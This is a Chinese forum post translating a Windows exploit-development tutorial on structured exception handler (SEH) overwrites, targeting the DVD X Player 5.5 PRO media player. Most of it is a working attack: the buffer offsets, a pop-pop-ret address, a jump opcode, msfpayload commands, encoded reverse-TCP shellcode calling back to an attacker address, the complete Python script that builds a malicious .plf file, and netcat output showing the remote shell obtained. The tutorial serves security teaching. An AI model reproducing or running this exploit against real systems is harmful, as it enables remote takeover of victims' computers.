首页
社区
课程
招聘
[翻译]Windows Exploit开发系列教程第三部分:Structured Exception Handler (SEH)
发表于: 2015-12-31 21:39 18401

[翻译]Windows Exploit开发系列教程第三部分:Structured Exception Handler (SEH)

2015-12-31 21:39
18401
译者:Netfairy
前言
这一节介绍漏洞利用中你会遇到的真正障碍. SEH用于缓解缓冲区攻击造成的问题. 但它也是有缺陷的. 先说明本文不会讨论SafeSeh或者SEHOP, 稍后的Part 3b会解决这些保护机制. 我将用’ DVD X Player 5.5 PRO’演示SEH利用. 已有的漏洞利用程序:这里

通常情况下漏洞利用之前我们需要先分析程序的坏字符, 但为了专注于SEH技术, 我简单的把坏字符列出来:’\x00\x0a\x0d\x1a’. 请记住它们.

利用环境: Backtrack 5
调试机器: Winows XP PRO SP3
漏洞软件: 下载

异常处理介绍
像第一部分说的那样, 我不会解释SEH全部细节, 但我会给你足够的信息了解它. 我非常建议你做更深层次的研究. SEH是Windows系统的一项机制, 它使用链表结构记录一系列数据. 当一个异常触发, 操作系统会遍历这个链表. 异常处理程序可以评估能否处理这个异常, 不能的话就传给链表的下一个处理函数. 处理异常必须满足两个要去:(1)一个指向当前异常处理函数的指针(SEH) (2)指向下一个异常处理结构的指针(Nseh). 因为Windows堆栈是向下生长的, 所以我们看到异常处理结构是颠倒的[nSEH…[SEH]. 当一个异常出现, 最近一个nSEH的地址会保存在esp+8地址处.

你可能会想这和漏洞利用有什么关系. 如果我们能够控制一大块缓冲区并且覆写其中一个异常处理函数, 异常发生时候Windows会把寄存器清0, 因此不能直接跳到Shellcode. 幸运的是这个保护机制有缺陷, 我们只需要用pop pop retn 指令地址覆盖掉SEH. 记住esp+8处保存着nSEH的地址, pop pop retn执行后程序最终会跳到nSEH处执行. 我们可以控制nSEH这四个字节的空间, 通过在这四个字节空间写入指令跳转到Shellcode.

这听起来有点复杂, 实际上SEH利用十分简单, 下面的例子将会演示SEH利用.

重现崩溃
下面是文件格式的漏洞利用框架, 我们会创建一个.plf文件, 写入很多字符. 稍后DVD Player读取这个文件就会造成缓冲区溢出.(这与通过TCP或UDP发送超长字符串有很大不同). 唯一的缺点是我们需要欺骗受害者打开这个文件.
#!/usr/bin/python -w
filename="evil.plf"
buffer = "A"*2000
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

创建plf文件, 用immunity debugger附加播放器并打开这个播放文件, 正如预期那样, 播放器崩溃了. Shift+F9跳过初始异常(因为初始的异常会导致不同的漏洞利用技术而我们只关心SEH). 你可以看到下面的CPU寄存器截图(你会注意到一个寄存器已经被清零了)另外一张图显示我们已经覆写掉SEH记录.



覆写SEH和Nseh

接下来用metasploit模式字符串替换原字符串(注意保持缓冲区长度一致).
root@bt:~/Desktop# cd /pentest/exploits/framework/tools/
root@bt:/pentest/exploits/framework/tools# ./pattern_create.rb 2000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4A
d5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah
0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5
[...snip...]
f5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj
0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5
Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co

重复前面步骤, 用mona分析崩溃. 如下图, 我们关心的是覆写SEH, 从图中可以知道612字节可以覆盖到SEH.

不错, 接下来我们用下面这样子来替换前面代码相应部分. 
buffer = "A"*608 + [nSEH] + [SEH] + "D"*1384
buffer = "A"*608 + "B"*4 + "C"*4 + "D"*1384
记住我们要把要用pop pop retn 指令覆写SEH,.用mona的
!mona seh
可以帮助我们找到这条指令.看下图, 值得一提的是, mona已经过滤掉来自SafeSEH模块的指针.

这些地址大部分都可以用, 记住不包含坏字符即可. 通常我会选择pop pop retn而不是pop pop retn n. 在immunity debugger 的安装目录下找到SEH.txt, 里面有2968个合法的指针. 有序小序的CPU架构, 需要扭转字节顺序.
Pointer: 0x61617619 : pop esi # pop edi # ret | asciiprint,ascii {PAGE_EXECUTE_READ} [EPG.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.12.21.2006 (C:\Program Files\Aviosoft\DVD X Player 5.5 Professional\EPG.dll)

Buffer: buffer = "A"*608 + "B"*4 + "\x19\x76\x61\x61" + "D"*1384
我们先不管nSEH, 在调试的时候再看看需要填充什么才合适. 注意pop pop retn指令来自DVD Player的EPG.dll模块, 这意味着这个漏洞利用程序更稳定, 新的POC看起来像下面这样子:
#!/usr/bin/python -w
  
filename="evil.plf"
 
#---------------------------------------------------------------------------#
# (*) badchars = '\x00\x0A\x0D\x1A'                                         #
#                                                                           #
# offset to: (2) nseh 608-bytes, (1) seh 112-bytes                          #
# (2) nseh = ????                                                           #
# (1) seh = 0x61617619 : pop esi # pop edi # ret  | EPG.dll                 #
# (3) Shellcode space = 1384-bytes                                          #
#---------------------------------------------------------------------------#
 
buffer = "A"*608 + "B"*4 + "\x19\x76\x61\x61" + "D"*1384
  
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

重新生成plf文件并调试打开它, Shift+F9通过第一次异常后触发了我们的断点. 如下图

完美, 如果继续F7单步执行, 最终程序会执行到BBBB(Nseh). 我们可以看到覆盖在SEH的指针被转化为操作码, 我们可以用Shellcode替换SEH后面的”D”*1384, 现在只需要在nSEH写入跳转指令以便跳到”D”*1384,也就是Shellcode. 可以用调试器完成, 观察下面的图:

nSEH

Assemble jmp

Jmp opcode
我们需要往后跳至少4个字节(\x90\x90+SEH)才能跳到位于SEH之后的Shellcode, 新的缓冲区布置如下:
buffer = "A"*608 + "\xEB\x06\x90\x90" + "\x19\x76\x61\x61" + "D"*1384

shellcode+游戏结束

这一系列工作完成. 我们还需要为EXP加上我们的Shellcode. 像以前那样动态计算空间, 改变Shellcode就会很容易. 像下面, Shellcode变量可以放进任何我们想要执行的代码.
#!/usr/bin/python -w
 
filename="evil.plf"
 
Shellcode = (
)
 
#----------------------------------------------------------------------------------#
# (*) badchars = '\x00\x0A\x0D\x1A'                                                #
#                                                                                  #
# offset to: (2) nseh 608-bytes, (1) seh 112-bytes                                 #
# (2) nseh = '\xEB\x06' => jump short 6-bytes                                      #
# (1) seh = 0x61617619 : pop esi # pop edi # ret  | EPG.dll                        #
# (3) Shellcode space = 1384-bytes                                                 #
#----------------------------------------------------------------------------------#
# SEH Exploit Structure:                                                           #
#                                    \---------------->                            #
#     [AAA..................AAA]   [nseh]   [seh]   [BBB..................BBB]     #
#     \-------------------------------------->                                     #
#                                     <-------/                                    #
# (1) Initial overwrite, SEH leads us back 4-bytes to nSEH                         #
# (2) nSEH jumps over SEH and redirects execution to our B's                       #
# (3) We place our Shellcode here ... Game Over!                                   #
#----------------------------------------------------------------------------------#
 
evil = "\x90"*20 + Shellcode
buffer = "A"*608 + "\xEB\x06\x90\x90" + "\x19\x76\x61\x61" + evil + "B"*(1384-len(evil))
  
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

是时候去生成一些Shellcode了, 为了不重复这次我决定使用反连Shell…
root@bt:~# msfpayload -l
[...snip...]
windows/Shell_bind_tcp_xpfw       Disable the Windows ICF, then listen for a connection and spawn a 
                                  command Shell
windows/Shell_reverse_tcp         Connect back to attacker and spawn a command Shell
windows/speak_pwned               Causes the target to say "You Got Pwned" via the Windows Speech API
[...snip...]

root@bt:~# msfpayload windows/Shell_reverse_tcp O

       Name: Windows Command Shell, Reverse TCP Inline
     Module: payload/windows/Shell_reverse_tcp
    Version: 8642
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 314
       Rank: Normal

Provided by:
  vlad902 <vlad902@gmail.com>
  sf <stephen_fewer@harmonysecurity.com>

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
LHOST                      yes       The listen address
LPORT     4444             yes       The listen port

Description:
  Connect back to attacker and spawn a command Shell
  
root@bt:~# msfpayload windows/Shell_reverse_tcp LHOST=192.168.111.132 LPORT=9988 R| msfencode -b 
           '\x00\x0A\x0D\x1A' -t c
[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)

unsigned char buf[] = 
"\xba\x6f\x3d\x04\x90\xd9\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
"\x4f\x31\x56\x14\x83\xee\xfc\x03\x56\x10\x8d\xc8\xf8\x78\xd8"
"\x33\x01\x79\xba\xba\xe4\x48\xe8\xd9\x6d\xf8\x3c\xa9\x20\xf1"
"\xb7\xff\xd0\x82\xb5\xd7\xd7\x23\x73\x0e\xd9\xb4\xb2\x8e\xb5"
"\x77\xd5\x72\xc4\xab\x35\x4a\x07\xbe\x34\x8b\x7a\x31\x64\x44"
"\xf0\xe0\x98\xe1\x44\x39\x99\x25\xc3\x01\xe1\x40\x14\xf5\x5b"
"\x4a\x45\xa6\xd0\x04\x7d\xcc\xbe\xb4\x7c\x01\xdd\x89\x37\x2e"
"\x15\x79\xc6\xe6\x64\x82\xf8\xc6\x2a\xbd\x34\xcb\x33\xf9\xf3"
"\x34\x46\xf1\x07\xc8\x50\xc2\x7a\x16\xd5\xd7\xdd\xdd\x4d\x3c"
"\xdf\x32\x0b\xb7\xd3\xff\x58\x9f\xf7\xfe\x8d\xab\x0c\x8a\x30"
"\x7c\x85\xc8\x16\x58\xcd\x8b\x37\xf9\xab\x7a\x48\x19\x13\x22"
"\xec\x51\xb6\x37\x96\x3b\xdf\xf4\xa4\xc3\x1f\x93\xbf\xb0\x2d"
"\x3c\x6b\x5f\x1e\xb5\xb5\x98\x61\xec\x01\x36\x9c\x0f\x71\x1e"
"\x5b\x5b\x21\x08\x4a\xe4\xaa\xc8\x73\x31\x7c\x99\xdb\xea\x3c"
"\x49\x9c\x5a\xd4\x83\x13\x84\xc4\xab\xf9\xb3\xc3\x3c\xc2\x6c"
"\xa4\x38\xaa\x6e\x3a\x66\x2f\xe6\xdc\x02\x3f\xae\x77\xbb\xa6"
"\xeb\x03\x5a\x26\x26\x83\xff\xb5\xad\x53\x89\xa5\x79\x04\xde"
"\x18\x70\xc0\xf2\x03\x2a\xf6\x0e\xd5\x15\xb2\xd4\x26\x9b\x3b"
"\x98\x13\xbf\x2b\x64\x9b\xfb\x1f\x38\xca\x55\xc9\xfe\xa4\x17"
"\xa3\xa8\x1b\xfe\x23\x2c\x50\xc1\x35\x31\xbd\xb7\xd9\x80\x68"
"\x8e\xe6\x2d\xfd\x06\x9f\x53\x9d\xe9\x4a\xd0\xad\xa3\xd6\x71"
"\x26\x6a\x83\xc3\x2b\x8d\x7e\x07\x52\x0e\x8a\xf8\xa1\x0e\xff"
"\xfd\xee\x88\xec\x8f\x7f\x7d\x12\x23\x7f\x54";

加上一些注释, 最后的EXP如下:
#!/usr/bin/python -w
 
#----------------------------------------------------------------------------------#
# Exploit: DVD X Player 5.5 Pro SEH (local BOF)                                    #
# OS: Tested XP PRO SP3 (EPG.dll should be universal)                              #
# Author: b33f (Ruben Boonen)                                                      #
# Software: http://www.exploit-db.com/wp-content/themes/exploit/applications       #
#           /cdfda7217304f4deb7d2e8feb5696394-DVDXPlayerSetup.exe                  #
#----------------------------------------------------------------------------------#
# This exploit was created for Part 3 of my Exploit Development tutorial series... #
# http://www.fuzzysecurity.com/tutorials/expDev/3.html                             #
#----------------------------------------------------------------------------------#
# root@bt:~# nc -lvp 9988                                                          #
# listening on [any] 9988 ...                                                      #
# 192.168.111.128: inverse host lookup failed: Unknown server error                #
# connect to [192.168.111.132] from (UNKNOWN) [192.168.111.128] 1044               #
# Microsoft Windows XP [Version 5.1.2600]                                          #
# (C) Copyright 1985-2001 Microsoft Corp.                                          #
#                                                                                  #
# G:\tutorial>ipconfig                                                             #
# ipconfig                                                                         #
#                                                                                  #
# Windows IP Configuration                                                         #
#                                                                                  #
#                                                                                  #
# Ethernet adapter Local Area Connection:                                          #
#                                                                                  #
#         Connection-specific DNS Suffix  . : localdomain                          #
#         IP Address. . . . . . . . . . . . : 192.168.111.128                      #
#         Subnet Mask . . . . . . . . . . . : 255.255.255.0                        #
#         Default Gateway . . . . . . . . . :                                      #
#                                                                                  #
# G:\tutorial>                                                                     #
#----------------------------------------------------------------------------------#
  
filename="evil.plf"
 
#---------------------------------------------------------------------------------------------------------------#
# msfpayload windows/Shell_reverse_tcp LHOST=192.168.111.132 LPORT=9988 R| msfencode -b '\x00\x0A\x0D\x1A' -t c #
# [*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)                                                  #
#---------------------------------------------------------------------------------------------------------------#
Shellcode = (
"\xba\x6f\x3d\x04\x90\xd9\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
"\x4f\x31\x56\x14\x83\xee\xfc\x03\x56\x10\x8d\xc8\xf8\x78\xd8"
"\x33\x01\x79\xba\xba\xe4\x48\xe8\xd9\x6d\xf8\x3c\xa9\x20\xf1"
"\xb7\xff\xd0\x82\xb5\xd7\xd7\x23\x73\x0e\xd9\xb4\xb2\x8e\xb5"
"\x77\xd5\x72\xc4\xab\x35\x4a\x07\xbe\x34\x8b\x7a\x31\x64\x44"
"\xf0\xe0\x98\xe1\x44\x39\x99\x25\xc3\x01\xe1\x40\x14\xf5\x5b"
"\x4a\x45\xa6\xd0\x04\x7d\xcc\xbe\xb4\x7c\x01\xdd\x89\x37\x2e"
"\x15\x79\xc6\xe6\x64\x82\xf8\xc6\x2a\xbd\x34\xcb\x33\xf9\xf3"
"\x34\x46\xf1\x07\xc8\x50\xc2\x7a\x16\xd5\xd7\xdd\xdd\x4d\x3c"
"\xdf\x32\x0b\xb7\xd3\xff\x58\x9f\xf7\xfe\x8d\xab\x0c\x8a\x30"
"\x7c\x85\xc8\x16\x58\xcd\x8b\x37\xf9\xab\x7a\x48\x19\x13\x22"
"\xec\x51\xb6\x37\x96\x3b\xdf\xf4\xa4\xc3\x1f\x93\xbf\xb0\x2d"
"\x3c\x6b\x5f\x1e\xb5\xb5\x98\x61\xec\x01\x36\x9c\x0f\x71\x1e"
"\x5b\x5b\x21\x08\x4a\xe4\xaa\xc8\x73\x31\x7c\x99\xdb\xea\x3c"
"\x49\x9c\x5a\xd4\x83\x13\x84\xc4\xab\xf9\xb3\xc3\x3c\xc2\x6c"
"\xa4\x38\xaa\x6e\x3a\x66\x2f\xe6\xdc\x02\x3f\xae\x77\xbb\xa6"
"\xeb\x03\x5a\x26\x26\x83\xff\xb5\xad\x53\x89\xa5\x79\x04\xde"
"\x18\x70\xc0\xf2\x03\x2a\xf6\x0e\xd5\x15\xb2\xd4\x26\x9b\x3b"
"\x98\x13\xbf\x2b\x64\x9b\xfb\x1f\x38\xca\x55\xc9\xfe\xa4\x17"
"\xa3\xa8\x1b\xfe\x23\x2c\x50\xc1\x35\x31\xbd\xb7\xd9\x80\x68"
"\x8e\xe6\x2d\xfd\x06\x9f\x53\x9d\xe9\x4a\xd0\xad\xa3\xd6\x71"
"\x26\x6a\x83\xc3\x2b\x8d\x7e\x07\x52\x0e\x8a\xf8\xa1\x0e\xff"
"\xfd\xee\x88\xec\x8f\x7f\x7d\x12\x23\x7f\x54")
 
#----------------------------------------------------------------------------------#
# (*) badchars = '\x00\x0A\x0D\x1A'                                                #
#                                                                                  #
# offset to: (2) nseh 608-bytes, (1) seh 112-bytes                                 #
# (2) nseh = '\xEB\x06' => jump short 6-bytes                                      #
# (1) seh = 0x61617619 : pop esi # pop edi # ret  | EPG.dll                        #
# (3) Shellcode space = 1384-bytes                                                 #
#----------------------------------------------------------------------------------#
# SEH Exploit Structure:                                                           #
#                                    \---------------->                            #
#     [AAA..................AAA]   [nseh]   [seh]   [BBB..................BBB]     #
#     \-------------------------------------->                                     #
#                                     <-------/                                    #
# (1) Initial EIP overwrite, SEH leads us back 4-bytes to nSEH                     #
# (2) nSEH jumps over SEH and redirects execution to our B's                       #
# (3) We place our Shellcode here ... Game Over!                                   #
#----------------------------------------------------------------------------------#
 
evil = "\x90"*20 + Shellcode
buffer = "A"*608 + "\xEB\x06\x90\x90" + "\x19\x76\x61\x61" + evil + "B"*(1384-len(evil))
  
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

在下面的截图中我们可以看到, EXP执行后我们得到一个反连Shell。游戏结束! !

root@bt:~/Desktop# nc -lvp 9988
listening on [any] 9988 ...
192.168.111.128: inverse host lookup failed: Unknown server error : Connection timed out
connect to [192.168.111.132] from (UNKNOWN) [192.168.111.128] 1044
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

G:\tutorial>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : localdomain
        IP Address. . . . . . . . . . . . : 192.168.111.128
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 

G:\tutorial>

附上原文:http://www.fuzzysecurity.com/tutorials/expDev/3.html

[课程]FART 脱壳王!加量不加价!FART作者讲授!

上传的附件:
收藏
免费 3
支持
分享
最新回复 (2)
雪    币: 251
活跃值: (302)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
2
感谢分享~
2016-1-2 10:44
0
雪    币: 358
活跃值: (662)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
3
感谢分享
2018-12-7 16:00
0
游客
登录 | 注册 方可回帖
返回
//